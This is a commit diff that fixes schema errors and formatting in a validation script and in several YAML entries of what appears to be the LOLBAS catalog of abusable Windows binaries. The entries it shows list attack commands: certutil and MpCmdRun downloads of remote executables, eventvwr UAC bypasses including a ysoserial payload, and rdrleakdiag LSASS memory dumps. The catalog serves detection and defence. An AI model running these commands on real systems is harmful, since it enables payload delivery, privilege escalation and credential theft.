Fixing YML schema errors

Author: wietze

.github/workflows/validation.py

@@ -104,11 +104,11 @@ class MainModel(BaseModel):
                     # GitHub Actions error format
                     path = '.'.join([str(x) for x in err.get('loc', [None])])
                     msg = err.get('msg', 'Unknown validation error')
-                    print(f"::error file={file_path},line=1,col=1::'{msg}' for {path}")
+                    print(f"::error file={file_path},line=1,title=Schema error::'{msg}' for {path}")
                     has_errors = True
             except Exception as e:
                 print(f"⚠️ Error processing {file_path}: {e}\n")
-                print(f"::error file={file_path},line=1,col=1::Error processing file: {e}")
+                print(f"::error file={file_path},line=1,title=Processing error::Error processing file: {e}")
                 has_errors = True
 
     sys.exit(-1 if has_errors else 0)

yml/OSBinaries/Bitsadmin.yml

@@ -35,8 +35,6 @@ Commands:
 Full_Path:
   - Path: C:\Windows\System32\bitsadmin.exe
   - Path: C:\Windows\SysWOW64\bitsadmin.exe
-Code_Sample:
-  - Code:
 Detection:
   - Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_bitsadmin_download.yml
   - Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/web/proxy_generic/proxy_ua_bitsadmin_susp_tld.yml

yml/OSBinaries/Certutil.yml

@@ -12,7 +12,7 @@ Commands:
     MitreID: T1105
     OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
   - Command: certutil.exe -verifyctl -f {REMOTEURL:.exe} {PATH:.exe}
-    Description: Download and save an executable to disk in the current folder when a file path is specified, or %LOCALAPPDATA%low\Microsoft\CryptnetUrlCache\Content\[hash] when not.
+    Description: Download and save an executable to disk in the current folder when a file path is specified, or `%LOCALAPPDATA%low\Microsoft\CryptnetUrlCache\Content\{hash}` when not.
     Usecase: Download file from Internet
     Category: Download
     Privileges: User
@@ -26,7 +26,7 @@ Commands:
     MitreID: T1564.004
     OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
   - Command: certutil.exe -URL {REMOTEURL:.exe}
-    Description: Download and save an executable to %LOCALAPPDATA%low\Microsoft\CryptnetUrlCache\Content\[hash].
+    Description: Download and save an executable to `%LOCALAPPDATA%low\Microsoft\CryptnetUrlCache\Content\{hash}`.
     Usecase: Download file from Internet
     Category: Download
     Privileges: User

yml/OSBinaries/Cmdkey.yml

@@ -19,6 +19,3 @@ Detection:
 Resources:
   - Link: https://web.archive.org/web/20230202122017/https://www.peew.pw/blog/2017/11/26/exploring-cmdkey-an-edge-case-for-privilege-escalation
   - Link: https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/cmdkey
-Acknowledgement:
-  - Person:
-    Handle:

yml/OSBinaries/Eudcedit.yml

@@ -5,7 +5,7 @@ Author: Matan Bahar
 Created: 2025-08-07
 Commands:
   - Command: eudcedit
-    Description: Once executed, the Private Charecter Editor will be opened -  click OK, then click File -> Font Links. In the next window choose the option "Link with Selected Fonts" and click on Save As, then in the opened enter the command you want to execute.
+    Description: Once executed, the Private Charecter Editor will be opened - click OK, then click File -> Font Links. In the next window choose the option "Link with Selected Fonts" and click on Save As, then in the opened enter the command you want to execute.
     Usecase: Execute a binary or script as a high-integrity process without a UAC prompt.
     Category: UAC Bypass
     Privileges: Administrator

yml/OSBinaries/Eventvwr.yml

@@ -5,7 +5,7 @@ Author: Jacob Gajek
 Created: 2018-11-01
 Commands:
   - Command: eventvwr.exe
-    Description: During startup, eventvwr.exe checks the registry value HKCU\Software\Classes\mscfile\shell\open\command for the location of mmc.exe, which is used to open the eventvwr.msc saved console file. If the location of another binary or script is added to this registry value, it will be executed as a high-integrity process without a UAC prompt being displayed to the user.
+    Description: During startup, eventvwr.exe checks the registry value `HKCU\Software\Classes\mscfile\shell\open\command` for the location of mmc.exe, which is used to open the eventvwr.msc saved console file. If the location of another binary or script is added to this registry value, it will be executed as a high-integrity process without a UAC prompt being displayed to the user.
     Usecase: Execute a binary or script as a high-integrity process without a UAC prompt.
     Category: UAC Bypass
     Privileges: User
@@ -15,7 +15,7 @@ Commands:
       - Application: GUI
       - Execute: EXE
   - Command: ysoserial.exe -o raw -f BinaryFormatter - g DataSet -c "{CMD}" > RecentViews & copy RecentViews %LOCALAPPDATA%\Microsoft\EventV~1\RecentViews & eventvwr.exe
-    Description: During startup, eventvwr.exe uses .NET deserialization with %LOCALAPPDATA%\Microsoft\EventV~1\RecentViews file. This file can be created using https://github.com/pwntester/ysoserial.net
+    Description: During startup, eventvwr.exe uses .NET deserialization with `%LOCALAPPDATA%\Microsoft\EventV~1\RecentViews` file. This file can be created using https://github.com/pwntester/ysoserial.net
     Usecase: Execute a command to bypass security restrictions that limit the use of command-line interpreters.
     Category: UAC Bypass
     Privileges: Administrator

yml/OSBinaries/Ldifde.yml

@@ -5,7 +5,7 @@ Author: Grzegorz Tworek
 Created: 2022-08-31
 Commands:
   - Command: Ldifde -i -f {PATH:.ldf}
-    Description: Import specified .ldf file into LDAP. If the file contains http-based attrval-spec such as thumbnailPhoto:< http://example.org/somefile.txt, the file will be downloaded into IE temp folder.
+    Description: Import specified .ldf file into LDAP. If the file contains http-based attrval-spec such as `thumbnailPhoto:< http://example.org/somefile.txt`, the file will be downloaded into IE temp folder.
     Usecase: Download file from Internet
     Category: Download
     Privileges: Administrator

yml/OSBinaries/MpCmdRun.yml

@@ -12,7 +12,7 @@ Commands:
     MitreID: T1105
     OperatingSystem: Windows 10
   - Command: copy "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\MpCmdRun.exe" C:\Users\Public\Downloads\MP.exe && chdir "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\" && "C:\Users\Public\Downloads\MP.exe" -DownloadFile -url {REMOTEURL:.exe} -path C:\Users\Public\Downloads\evil.exe
-    Description: Download file to specified path - Slashes work as well as dashes (/DownloadFile, /url, /path) [updated version to bypass Windows 10 mitigation]
+    Description: Download file to specified path. Slashes work as well as dashes (/DownloadFile, /url, /path). Updated version to bypass Windows 10 mitigation.
     Usecase: Download file
     Category: Download
     Privileges: User

yml/OSBinaries/OneDriveStandaloneUpdater.yml

@@ -5,7 +5,7 @@ Author: 'Elliot Killick'
 Created: 2021-08-22
 Commands:
   - Command: OneDriveStandaloneUpdater
-    Description: Download a file from the web address specified in HKCU\Software\Microsoft\OneDrive\UpdateOfficeConfig\UpdateRingSettingURLFromOC. ODSUUpdateXMLUrlFromOC and UpdateXMLUrlFromOC must be equal to non-empty string values in that same registry key. UpdateOfficeConfigTimestamp is a UNIX epoch time which must be set to a large QWORD such as 99999999999 (in decimal) to indicate the URL cache is good. The downloaded file will be in %localappdata%\OneDrive\StandaloneUpdater\PreSignInSettingsConfig.json
+    Description: Download a file from the web address specified in `HKCU\Software\Microsoft\OneDrive\UpdateOfficeConfig\UpdateRingSettingURLFromOC`. `ODSUUpdateXMLUrlFromOC` and `UpdateXMLUrlFromOC` must be equal to non-empty string values in that same registry key. `UpdateOfficeConfigTimestamp` is a UNIX epoch time which must be set to a large QWORD such as 99999999999 (in decimal) to indicate the URL cache is good. The downloaded file will be in `%localappdata%\OneDrive\StandaloneUpdater\PreSignInSettingsConfig.json`.
     Usecase: Download a file from the Internet without executing any anomalous executables with suspicious arguments
     Category: Download
     Privileges: User

yml/OSBinaries/Rdrleakdiag.yml

@@ -5,21 +5,21 @@ Author: 'John Dwyer'
 Created: 2022-05-18
 Commands:
   - Command: rdrleakdiag.exe /p 940 /o {PATH_ABSOLUTE:folder} /fullmemdmp /wait 1
-    Description: Dump process by PID and create a dump file (Creates files called minidump_<PID>.dmp and results_<PID>.hlk).
+    Description: Dump process by PID and create a dump file (creates files called `minidump_<PID>.dmp` and `results_<PID>.hlk`).
     Usecase: Dump process by PID.
     Category: Dump
     Privileges: User
     MitreID: T1003
     OperatingSystem: Windows
   - Command: rdrleakdiag.exe /p 832 /o {PATH_ABSOLUTE:folder} /fullmemdmp /wait 1
-    Description: Dump LSASS process by PID and create a dump file (Creates files called minidump_<PID>.dmp and results_<PID>.hlk).
+    Description: Dump LSASS process by PID and create a dump file (creates files called `minidump_<PID>.dmp` and `results_<PID>.hlk`).
     Usecase: Dump LSASS process.
     Category: Dump
     Privileges: Administrator
     MitreID: T1003.001
     OperatingSystem: Windows
   - Command: rdrleakdiag.exe /p 832 /o {PATH_ABSOLUTE:folder} /fullmemdmp /snap
-    Description: After dumping a process using /wait 1, subsequent dumps must use /snap (Creates files called minidump_<PID>.dmp and results_<PID>.hlk).
+    Description: After dumping a process using `/wait 1`, subsequent dumps must use `/snap` (creates files called `minidump_<PID>.dmp` and `results_<PID>.hlk`).
     Usecase: Dump LSASS process mutliple times.
     Category: Dump
     Privileges: Administrator